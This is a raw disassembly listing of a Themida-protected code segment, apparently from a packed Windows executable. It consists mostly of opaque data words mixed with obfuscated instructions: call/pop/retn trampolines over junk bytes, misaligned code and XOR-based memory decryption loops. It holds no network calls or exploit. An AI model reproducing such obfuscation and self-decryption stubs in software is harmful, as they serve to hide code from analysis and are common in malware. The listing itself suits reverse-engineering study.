dd 0B1AF10CDh, 804B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 9A4BB565h, 0B99589F0h
dd 8307FA24h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 3BBBA7C3h, 0E9F44ABEh, 12h, 2A7DC86Ch
dd 72BFCA8Dh, 6266718Bh, 66DC3FF2h, 9FB338A7h, 57006AFCh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 9725910Dh, 662ED2F7h, 8B806EBBh, 0FA0D2D9Dh, 0B807h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 5DB9B4C3h, 9C4C65E5h, 0BAh, 0C233AD00h, 0D003E8D1h
dd 7504E983h, 6AFB8BF4h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 8724C357h, 67AAD642h
dd 880Dh, 0D9958B00h, 5607FA1Ch, 68B0Fh, 95890000h, 7FA2B99h
dd 0AD8D8B5Bh, 2307FA31h, 0FA231DBDh, 0C28B5007h, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0FA010995h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 3D758E8Ah, 1F199D89h, 0BD8307FAh, 7FA2A29h, 6C840F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0A0ABC356h, 8D9D8BC5h, 0B807FA21h
dd 0
; ---------------------------------------------------------------------------
sub [ebp+7FA0829h], edi
lea ecx, [ebp+7FA4F66h]
push 0
push eax
call sub_5CCE4B
loc_5CCE48: ; CODE XREF: Themida_:005CCEB2j
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCE4B proc near ; CODE XREF: Themida_:005CCE43p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5CCE4B endp
; ---------------------------------------------------------------------------
xor al, [edx]
lodsb
dec esi
mov [ebp+7FA2D75h], ecx
mov [ebp+7FA0E5Dh], ebx
jmp ecx
; ---------------------------------------------------------------------------
jle loc_5CCE77
mov di, 0A84Ah
loc_5CCE77: ; CODE XREF: Themida_:005CCE6Dj
cmp dword ptr [ebp+7FA2BD9h], 0
jz loc_5CD2DB
mov [ebp+7FA32A9h], esi
cmp dword ptr [ebp+7FA2BD9h], 1
jz loc_5CD2F6
push 0
push esi
call sub_5CCEA2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCEA2 proc near ; CODE XREF: Themida_:005CCE9Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5CCEA2 endp
; ---------------------------------------------------------------------------
jecxz short loc_5CCE48
not byte ptr [ebx+66h]
mov ebx, 835B2A2Ah
mov ebp, 7FA2BD9h
add ecx, [edi]
xchg bh, al
add eax, [eax]
add [edx+0], ch
push ebp
call sub_5CCED3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCED3 proc near ; CODE XREF: Themida_:005CCECBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CCED3 endp
; ---------------------------------------------------------------------------
db 0ADh
dd 0EA49F4AFh, 2E8A1347h, 5810Fh, 81660000h, 66FA54EFh
dd 6A60FB8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 4D4EC355h, 9529B68Eh, 7FA293Dh
dd 5E9h, 0B2F2A700h, 8C668207h, 199D8BD9h, 8B07FA2Bh, 0FA08919Dh
dd 4E18007h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0BDC35242h, 885F6A46h, 89ABC65Fh, 0FA0CAD9Dh, 0FC90A07h
dd 0C884h, 8BF98B00h, 0FA0FE985h, 45BD8B07h, 3307FA2Ch
dd 0FA15E185h, 0D1BD8B07h, 5007FA25h, 0BFEFB660h, 417BD9F5h
dd 24048961h, 5E9h, 0F6DE0A00h, 6AF449h, 11C19D09h, 0F26807FAh
dd 0BBDCCB4Bh, 2C9C05C1h, 0D240481h, 6A2353B8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 6A9FC350h, 9D31158Eh, 7FA223Dh, 0FF29F380h, 0FA1CE995h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 8E86093h, 30000000h, 0A4F8D291h, 8B089A73h
dd 0FA345D9Dh, 89605907h, 0FA2F699Dh, 61F78B07h, 96858961h
dd 6607FDEBh, 0E9BF93BFh, 230h, 0FF8002BBh, 8E858B0Ch
dd 8B07FDEBh, 0FA2639BDh, 1800C707h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 7F6EC353h, 0AEC38166h, 92B58BEEh, 6A07FDEBh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 6ACCC352h, 0EBA4F09Dh, 68F0Fh, 0CB810000h, 1FE0373Eh
dd 0D51858Bh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 4640CCC3h, 16528537h, 8589518Ch
dd 7FA2C21h, 0E806895Bh, 0Fh, 0A5C05FB2h, 0B5E78AC2h, 0F3B24655h
dd 0F20E33Eh, 8B5BDBBFh, 0FA0FE985h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 2278A2CCh
dd 9DEE71Dh, 0C381FE4Bh, 47A6621Dh, 6A044689h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 77AC353h, 0AA0AF49Ah, 0DE8A3h, 7B7A0000h, 6BEEAF67h
dd 58BF30F1h, 8B99CF0Dh, 8B0F5BF9h, 0Bh, 0CAB70F60h, 0D459D33h
dd 506107FAh, 68B0Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
mov [esp], esi
jmp loc_5CD181
; ---------------------------------------------------------------------------
dd 59A29F55h, 0EA7D08E6h
db 0B3h
; ---------------------------------------------------------------------------
loc_5CD181: ; CODE XREF: Themida_:005CD173j
push dword ptr [ebp+7FDEB8Eh]
push 0
push esi
call sub_5CD192
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD192 proc near ; CODE XREF: Themida_:005CD18Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5CD192 endp
; ---------------------------------------------------------------------------
dw 0E0E8h
dd 829F7580h, 9EA36365h, 0D78B6660h, 33E98531h, 686107FAh
dd 0E100DFA4h, 81FA8B66h, 245B2404h, 0E9601F1Eh, 0Dh, 33F63807h
dd 0E3F77EF7h, 9D34BDABh, 6840F6Ah, 1000000h, 0FA02D9BDh
dd 858D6107h, 7FDEB96h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 1C35545h, 0B19B4188h, 0E850D88Bh, 9
dd 0EE3F3407h, 8E36A33Bh, 6E969h, 4EEC0000h, 89B513A8h
dd 2404895Fh, 0A61ABB66h, 0FFD8BF0Fh, 0FA1CE995h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 84299219h, 8D89D90Eh, 7FA11B1h, 53006A61h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0B157CEB4h
dd 2BD985C7h, 307FAh, 3BBB0000h, 8303D9D1h, 0FDEB96BDh
dd 840F0007h, 24h, 14E9h, 957B0000h, 8ABDB954h, 6A1CFD28h
dd 3A10F24Dh, 4D1EA6ACh, 21E9DEh, 9D890000h, 7FA07A1h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------
loc_5CD2DB: ; CODE XREF: Themida_:005CCE7Ej
; Themida_:005CD2F2j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CD2DB
jmp short loc_5CD311
; ---------------------------------------------------------------------------
loc_5CD2F6: ; CODE XREF: Themida_:005CCE91j
; Themida_:005CD30Dj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CD2F6
jmp short $+2
loc_5CD311: ; CODE XREF: Themida_:005CD2F4j
mov eax, eax
call near ptr locret_5CD31F+2
jb short near ptr loc_5CD31B+1
insb
loc_5CD31B: ; CODE XREF: Themida_:005CD318j
out 77h, eax
aad 0D1h
locret_5CD31F: ; CODE XREF: Themida_:005CD313p
db 66h
retn 8B66h
; ---------------------------------------------------------------------------
fcomp dword ptr [edi-77h]
mov ch, 59h
and edi, edx
pop es
cmp dword ptr [ebp+7FA2BD9h], 3
jnz loc_5CD7BE
movzx ebx, ax
cmp dword ptr [ebp+7FDEB96h], 0
jz loc_5CD7BE
push 0
push ebx
call sub_5CD353
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD353 proc near ; CODE XREF: Themida_:005CD34Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5CD353 endp
; ---------------------------------------------------------------------------
push ds
les ebx, [ebx]
mov [ebx+23h], ah
mov ebp, 7FA07C9h
push dword ptr [ebp+7FDEB96h]
mov [ebp+7FA2AE1h], edx
call dword ptr [ebp+7FA2745h]
jmp loc_5CD391
; ---------------------------------------------------------------------------
dw 0DB85h
dd 53C55F5Dh, 165A4139h
db 0C4h
; ---------------------------------------------------------------------------
loc_5CD391: ; CODE XREF: Themida_:005CD381j
mov esi, [ebp+7FDEB8Ah]
mov edi, [ebp+7FA0AF1h]
mov dword ptr [esi], 10001h
movsx ebx, dx
push eax
call near ptr loc_5CD3AF+2
std
jz short loc_5CD423
loc_5CD3AF: ; CODE XREF: Themida_:005CD3A7p
sub eax, 108E0F3Fh
; ---------------------------------------------------------------------------
dd 0E9000000h, 0Bh, 6C7ECAA2h, 0C17B0C43h, 5B152A55h, 6A243489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0C5E1C352h, 81F3F5A5h, 0A56076F7h, 96B5FF59h
dd 6A07FDEBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 9F10C355h, 424665B7h, 0FFF8105Fh
dd 0FA18E195h
; ---------------------------------------------------------------------------
pop es
push 0
loc_5CD423: ; CODE XREF: Themida_:005CD3ADj
push esi
call sub_5CD42C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD42C proc near ; CODE XREF: Themida_:005CD424p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5CD42C endp
; ---------------------------------------------------------------------------
dd 0DE8B135h, 0EE000000h, 1EC9D18Eh, 0B238530Eh, 19DCC8C5h
dd 6820F5Bh, 8B000000h, 0FA0B61BDh, 8AB58B07h, 8907FDEBh
dd 0FA2C55B5h, 55BD8907h, 8B07FA0Ah, 0FA1C7D85h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 799D894Ch, 0F07FA0Ah, 38Fh, 0DFBF0F00h, 0C48689h, 0D7810000h
dd 6D86F41Ah, 8BC7CB80h, 0FA1CD995h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 6BAF6AF6h
dd 83F32DE0h, 2BEDBD8Bh, 0C28307FAh, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 89FFB3D9h
dd 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 487ADFC3h, 0D6DB2878h, 0FEF7858Dh, 6A07FDh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 6DB9A4C3h, 39985A8Bh, 0CE85608h, 60000000h, 5107D746h
dd 860BA856h, 8BCA18A7h, 0FA23C19Dh, 86895B07h, 0B8h, 29A7CB81h
dd 6A5DBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 89C35242h, 8D89DBC1h, 7FA189Dh, 0BADB8166h, 96B5FFB4h
dd 6A07FDEBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 1CCAC357h, 9595FFC9h, 6607FA1Ch
dd 0E541E781h, 0D15DBF50h, 34897387h, 799D2924h, 0F807FA1Fh
dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0AD790CC3h, 9E9A4h, 973C0000h, 0DBB3EC84h
dd 0FF382373h, 0FA1D9595h, 8392B707h, 0FA0131BDh, 840F0007h
dd 65h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
dd 6EC35040h, 0D88B66F8h, 5820F50h, 0BF000000h, 6CA37AC8h
dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 3B62C357h, 13A3C627h, 10E9h, 0CF194400h
dd 99EDC475h, 8C0459B0h, 9A277F14h, 96B5FF94h, 6A07FDEBh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 7BCC353h, 0B9E1A83Ch, 65C31480h, 0BE9h, 8C937B00h
dd 24CE0375h, 0A427B90Eh, 1CB595FFh, 896007FAh, 0FA31218Dh
dd 0D38B6607h, 96B5FF61h, 8907FDEBh, 0FA31BD85h, 0AD95FF07h
dd 6A07FA21h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 3A49C352h, 0B5BD03BBh, 0F07FA29h
dd 68Fh, 69E78100h, 830D864Ah, 0FA2221BDh, 840F0207h, 67h
dd 2315BD8Bh, 858B07FAh, 7FA1615h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 67C35747h, 0CF96D910h, 2BF9AA8h
dd 38C0Fh, 8B660000h, 0D5C3BFD8h, 0C60D23h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 59BC8DBCh, 997174A8h, 0C7FEBF0Fh, 0FA16DD85h, 7, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 6DCDFC0h, 9A99E8Ch, 371FDB81h
db 0F3h, 1Eh
; ---------------------------------------------------------------------------
loc_5CD7BE: ; CODE XREF: Themida_:005CD332j
; Themida_:005CD342j
jmp near ptr dword_5CCACC+32h
; ---------------------------------------------------------------------------
or edi, 448CFB80h
mov eax, ecx
push 0
push eax
call sub_5CD7D6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD7D6 proc near ; CODE XREF: Themida_:005CD7CEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5CD7D6 endp
; ---------------------------------------------------------------------------
dw 0D3E9h
; ---------------------------------------------------------------------------
rcl byte ptr [edx], cl
or ebx, [ebp+7FA24B1h]
lea eax, [ebp+7FA0199h]
or [ebp+7FA2DBDh], esi
push eax
mov ebx, ecx
mov [esp], eax
push 0
push eax
call sub_5CD80D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD80D proc near ; CODE XREF: Themida_:005CD805p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_5CD80D endp
; ---------------------------------------------------------------------------
inc dword ptr [ebp+edi*8+0]
pop ecx
xor al, 99h
push 0
jmp loc_5CD830
; ---------------------------------------------------------------------------
db 8Bh
dd 79F9810Fh
; ---------------------------------------------------------------------------
loc_5CD830: ; CODE XREF: Themida_:005CD826j
push 0
push 0
push edx
call sub_5CD83D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD83D proc near ; CODE XREF: Themida_:005CD835p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CD83D endp
; ---------------------------------------------------------------------------
sbb dword ptr [edx-2Ah], 0DD795C72h
jbe short near ptr loc_5CD88C+2
push esi
mov bl, 0ABh
pop edi
lea eax, [ebp+7FEA5D5h]
push 0
push edi
call sub_5CD86B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD86B proc near ; CODE XREF: Themida_:005CD863p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5CD86B endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
db 13h, 0A2h, 85h
; ---------------------------------------------------------------------------
mov edi, 44AA19ADh
cmc
add eax, 5
push 0
push edi
loc_5CD88C: ; CODE XREF: Themida_:005CD854j
call sub_5CD894
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD894 proc near ; CODE XREF: Themida_:loc_5CD88Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5CD894 endp
; ---------------------------------------------------------------------------
dd 3967F5B1h, 880F64ADh, 6, 2B5DBD8Bh, 0E89007FAh, 9, 0CED81118h
dd 66F3FAF3h, 90505F4Ch, 8890Fh, 0F520000h, 80h, 6A5B00h
dd 7E852h, 0FBAA0000h, 0BE2C33E5h, 0EB8166B5h, 5F5B6DC5h
dd 11059D31h, 6A07FAh, 2D99D89h, 95FF07FAh, 7FA2BE9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 45C35242h, 0BD89652Ah
dd 7FA2EEDh, 0D7118D8Dh, 6A07FDh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 5166AEC3h, 84BF0C27h
dd 0FF37CE54h, 0D9BD8BD1h, 8307FA26h, 0FA33EDBDh, 850F0107h
dd 0B2h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0E0C35242h, 81D98B0Dh, 6C2999F3h, 6A026A0Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 7827C350h, 84EBD571h, 0CE9A5F0h, 0A9000000h, 0C5D82E70h
dd 0C0D07E66h, 0F056FECh, 148Dh, 0FE900h, 37E80000h, 4B3C98E7h
dd 67209FE3h, 0E45AFFFAh, 8A0F50ACh, 5, 408D89BBh, 24048971h
dd 1C9595FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0A93595C3h, 8F4D8916h, 3455BD23h
dd 0F9E907FAh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FEA5DFh
pusha
movzx ecx, ax
mov [ebp+7FA105Dh], edx
popa
mov bh, dh
lea eax, [ebp+7FDB959h]
push 0
push ebx
call sub_5CDA45
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CDA45 proc near ; CODE XREF: Themida_:005CDA3Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5CDA45 endp
; ---------------------------------------------------------------------------
db 0D7h, 22h, 0D2h
dd 10E9506Bh, 69000000h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h
dd 89F963DBh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 8F4134C3h, 27D83014h, 0FF64FC5Dh
dd 35h, 870F00h, 64000000h, 2589h, 0B5290000h, 7FA1F69h
dd 104985FFh, 8B6007FAh, 0FA0CC9BDh, 0FF6A6107h, 8B0Fh
dd 0B5FF0000h, 7FA167Dh, 0A820Fh, 8F0F0000h, 4, 611DBF66h
dd 287595FFh, 0F8E907FAh, 0F000000h, 0B0F9BFh, 70E6FE8Bh
dd 34D59D23h, 71E407FAh, 15A18D89h, 613C07FAh, 0D9830Fh
dd 8A0F0000h, 0Dh, 5D958960h, 0B807FA2Ah, 162E6BE8h, 0C8B60F61h
dd 0AE8h, 94F82200h, 0FC8C4CF5h, 0E8CAA931h, 5, 0A4109C62h
dd 0BA5F5B0Bh, 6, 20D18D89h, 0C18B07FAh, 14CB8166h, 4E8C1EEh
dd 8BEB8166h, 0E2F7663Eh, 0C82BB5B3h, 5E9D18Bh, 19000000h
dd 0BEA01E23h, 1E9h, 858BF900h, 7FA108Dh, 0B3D9589h, 0D88B07FAh
dd 0F907C083h, 6600C083h, 3BF882BBh, 16830FD0h, 0FC000000h
dd 5E9h, 0B2733C00h, 44E963BEh, 89000000h, 0FA235DBDh
dd 198D8B07h, 8107FA26h, 627DBBDFh, 1E18355h, 29840Fh
dd 0BD030000h, 7FA2BE5h, 1599D8Bh, 0A58307FAh, 7FA2619h
dd 0FBE780FEh, 108D9589h, 8A0F07FAh, 2, 0E986B7h, 8D000000h
dd 0FE2EF4B5h, 8B006A07h, 1995FFD8h, 0E907FA10h, 0Dh, 0C1C1F46h
dd 0C4705FE2h, 477F74FEh, 87BB92Eh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6313EEC3h
dd 96D64631h, 8363807Eh, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 83BB8FC3h, 0FE9h, 0E9958E00h
dd 8F21432Fh, 0AE1E69F4h, 9EAB6E4Dh, 719BF7BFh, 0BD8BFC29h
dd 7FA1089h, 0B8h, 66FE8B00h, 0D22BFA8Bh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0E9C35141h, 901ED3D5h
dd 70F916D9h, 7E85Eh, 60C60000h, 680066EFh, 0F59D8B2Ah
dd 5F07FA2Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0BF0FFB8Bh
dd 318589FFh, 0D07FA1Fh, 88h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0D3C35242h, 901BA061h, 7E9h
dd 0E9364400h, 1DC4A54Ah, 1CD9958Bh, 9E807FAh, 7A000000h
dd 6D60143Fh, 0B94136CCh, 10E9h, 39B75300h, 48A7B6DDh
dd 868D2E1Fh, 0D2D3E941h, 8D8B5B12h, 7FA31ADh, 8859D8Bh
dd 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0F99BD89h, 0BF0F07FAh, 50006AF8h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 12E9F2h, 0B67F0000h
dd 0E7DC0E11h, 7FFC3227h, 0EFE5DF1Fh, 474479D5h, 2A29BD83h
dd 0F0007FAh, 0CA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 0DC6C1144h, 87C0711Dh
dd 2B2DBD8Bh, 0B807FAh, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AF6CC356h
dd 0F42239Dh, 68Eh, 55BD0100h, 0E907FA2Eh, 0Bh, 5F011FE1h
dd 80C8B959h, 8DC5204Dh, 0FA4F668Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9D8B46E8h
dd 7FA0B7Dh, 7E9h, 31FECB00h, 0BB24419Bh, 6AE1FFh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 23A8BEC3h, 0B8C2131Fh, 898589DDh, 8307FA00h, 0FA2BD9BDh
dd 840F0007h, 483h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 0A1C35141h, 0FECFBC3Bh, 16C14A6Dh, 458D89B1h
dd 8307FA21h, 0FA2BD9BDh, 840F0107h, 466h, 28319D33h, 0BD8307FAh
dd 7FA2BD9h, 1D860F03h, 6A000004h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9E60C352h
dd 5E9A2D5h, 17000000h, 30F0C91Bh, 10E960h, 0CD640000h
dd 660A08EDh, 70F80EB5h, 3F4D3947h, 8C666041h, 11E9D9h
dd 0DEE40000h, 0A395E868h, 0C80006E8h, 67A03D31h, 803C007Ah
dd 0BF0F04E1h, 618589F9h, 0A07FA14h, 15840FC9h, 0E9000001h
dd 9, 84D9BE68h, 27E18E3Eh, 0E9858BDCh, 8B07FA0Fh, 0FA32C19Dh
dd 0E1853307h, 6607FA15h, 10BC381h, 50DF8B90h, 0D59BB66h
dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 48896B86h, 2CB2621h, 0BD8B900Bh, 7FA0FD1h
dd 9D29006Ah, 7FA02E1h, 152C8268h, 8B52502Ch, 5A310FDFh
dd 24348158h, 2C0A2F7Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0B9C35141h, 0BF66F51Ch, 9ABB5836h, 0FF1D5286h
dd 0FA1CE995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 6800F77h, 8B000000h, 0FA0A719Dh
dd 96858907h, 6A07FDEBh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1D042444h, 41000000h, 0A62DC351h, 0FCC9CF3Dh
dd 37AB0DDCh, 6E8h, 9BE1BA00h, 0F69F911h, 68Bh, 0C19D8B00h
dd 5B07FA24h, 217E9h, 0DA8B6600h, 0EB8E858Bh, 6A07FDh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0BECEBDC3h, 5C09E9E7h, 891990DEh, 0FA15B18Dh, 1800C707h
dd 0F9000000h, 0EB92B58Bh, 0B70F07FDh, 659589DFh, 8B07FA31h
dd 0FA0D5185h, 6A068907h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 48F0C350h, 160AC4Eh
dd 0FA29158Dh, 0BD8B6107h, 7FA08D1h, 0FE9858Bh, 0CE907FAh
dd 22000000h, 911F71C2h, 3A705567h, 8939F28Ch, 0E8BF0446h
dd 962A38D2h, 30BF6650h, 8B669696h, 7D9D8BDEh, 0FF07FA27h
dd 0FDEB8EB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0B100E5F6h, 0DAE44856h
dd 9D33F94Ah, 7FA3189h, 4E8h, 1F03FF00h, 13E800h, 0A9E70000h
dd 572C3A90h, 3CC39D0Fh, 2C298AC4h, 5E46696Ch, 36BF6684h
dd 0E8505F62h, 12h, 0C764F59Ch, 701A386Bh, 6FC8BE49h, 0A011B041h
dd 12E8A1EBh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h
dd 8BC87A5Fh, 10E837h, 39440000h, 6D9AC61Ch, 0E04732Eh
dd 0E799BA59h, 5B5F251Ah, 24448B5Bh, 8B30B704h, 3850F00h
dd 66000000h, 4489F88Bh, 5F520424h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 34AE87C0h
dd 9D8B85B4h, 7FA2B79h, 0EB96858Dh, 6A07FDh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 849AF7C3h
dd 0BC8188C1h, 5276A44Dh, 23F5BD8Bh, 905B07FAh, 9097B350h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0DC35747h
dd 0CA58D89h, 858907FAh, 7FA2389h, 1CE995FFh, 6A07FAh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 51CE46C3h, 8166515Fh, 5B1F41E7h, 52006A61h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 704FECA0h, 0C724EA54h, 0FA2BD985h, 307h
dd 0BD83F900h, 7FDEB96h, 4D840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 0B7E9C352h, 4B271FFh, 3C56CD6Fh, 3EE9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 1E4BE969h, 8E93BD98h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 0FC08B00h, 38Ch, 0FFB70F00h, 66D9D8Bh, 0BE907FAh
dd 74000000h, 3D422C97h, 2A5613F3h, 0BD839D28h, 7FA2BD9h
dd 0A4850F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 88B9C355h, 46BB64E9h
